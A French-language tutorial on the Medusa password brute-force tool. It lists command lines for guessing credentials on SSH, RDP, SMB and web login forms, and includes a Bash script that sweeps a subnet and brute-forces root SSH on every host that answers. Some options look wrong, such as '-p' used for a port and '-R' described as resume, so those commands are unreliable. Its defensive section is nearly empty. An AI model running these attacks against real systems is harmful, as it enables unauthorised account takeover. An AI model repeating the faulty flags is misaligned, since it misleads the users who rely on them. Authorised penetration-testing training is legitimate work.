⚠ Usage éthique exclusif – Tests de pénétration autorisés uniquement. Toute utilisation malveillante est interdite.

Maîtrise de Medusa
Guide complet de l'outil de brute‑force parallèle

De l'installation à l'automatisation de campagnes de brute‑force avancées, avec détection et prévention.

Medusa 2.2 Brute‑force parallèle SSH / RDP / SMB Formulaires Web Défense

📖 Sommaire

1. Introduction – Medusa vs Hydra

Medusa est un outil de brute‑force réseau, souvent comparé à Hydra. Sa force réside dans sa capacité à exécuter des attaques massivement parallèles, en utilisant plusieurs threads pour tester simultanément différentes cibles ou utilisateurs. Contrairement à Hydra, Medusa adopte une approche modulaire, où chaque protocole est un module indépendant.

Points clés :

graph LR A[Medusa] --> B[Module SSH] A --> C[Module RDP] A --> D[Module HTTP] B --> E[Cible SSH] C --> F[Cible RDP] D --> G[Formulaire Web]

2. Laboratoire cible

Pour pratiquer, nous déployons des services vulnérables dans des conteneurs Docker :

# SSH (mot de passe faible)
docker run -d --name ssh-target -p 2222:22 -e PASS=admin123 rastasheep/ubuntu-sshd
# RDP
docker run -d --name rdp-target -p 3389:3389 scottyhardy/docker-rdp
# SMB (impacket)
docker run -d --name smb-target -p 445:445 dperson/samba -p

Notez les adresses : 192.168.56.1 (hôte) avec les ports mappés.

3. Installation et premiers pas

Medusa est préinstallé sur Kali. Sur d’autres distributions :

sudo apt install medusa

Vérification :

medusa -V

Aide complète :

medusa -h

4. Utilisation de base – modules et syntaxe

Syntaxe générale :

medusa -h <cible> -u <utilisateur> -P <liste_mots_de_passe> -M <module> [options]

Exemple simple : attaque SSH avec un utilisateur unique et une liste de mots de passe.

medusa -h 192.168.56.1 -p 2222 -u root -P /usr/share/wordlists/rockyou.txt -M ssh

Modules disponibles :

medusa -d

5. Scénarios réels

5.1 Brute‑force SSH avec liste d’utilisateurs et mots de passe

medusa -h 192.168.56.1 -p 2222 -U users.txt -P passwords.txt -M ssh -t 4

Le paramètre -t 4 limite le nombre de threads.

5.2 Attaque RDP

medusa -h 192.168.56.1 -u administrator -P passwords.txt -M rdp -n 3389

Attention, RDP peut déclencher des verrouillages de compte. Utilisez des délais : -w 5 (5 secondes entre tentatives).

5.3 Brute‑force SMB

medusa -h 192.168.56.1 -U users.txt -P passwords.txt -M smbnt

5.4 Formulaire web (HTTP POST)

Module http. On doit spécifier l'URL, les champs, le message d'échec.

medusa -h 192.168.56.1 -U users.txt -P passwords.txt -M http -m POST -m FORM:"login.php:user=^USER^&pass=^PASS^:Incorrect"

Le dernier paramètre indique le formulaire, les variables, et la chaîne d'échec.

6. Techniques avancées

6.1 Reprendre une session

En cas d'interruption, Medusa enregistre sa progression (medusa.sav). Pour reprendre :

medusa -h 192.168.56.1 -u root -P passwords.txt -M ssh -R

6.2 Génération de mots de passe à la volée

Medusa peut combiner des règles de mutation (comme John the Ripper). Exemple : ajouter "123" à chaque mot.

medusa -h 192.168.56.1 -u root -P passwords.txt -M ssh -r rules.txt

Le fichier rules.txt contient par exemple : $1$2$3.

6.3 Attaques parallèles sur plusieurs cibles

Fichier targets.txt contenant ip:port. Chaque ligne est attaquée dans un thread séparé.

medusa -H targets.txt -u admin -P passwords.txt -M ssh -t 10

7. Détection et contre‑mesures

Les tentatives de brute‑force laissent des traces dans les logs. Sur un serveur SSH :

grep "Failed password" /var/log/auth.log | wc -l

Outils de prévention :

8. Automatisation avec scripts

Script Bash pour scanner un sous‑réseau à la recherche de SSH ouvert, puis lancer Medusa.

#!/bin/bash
for ip in 192.168.56.{1..254}; do
    nc -z -w1 $ip 22 && medusa -h $ip -u root -P pass.txt -M ssh -t 2
done

9. Quiz

1. Quel paramètre permet de reprendre une session Medusa interrompue ?

2. Comment spécifier un port différent du port par défaut pour SSH ?

3. Quel outil peut bloquer une IP après des échecs répétés ?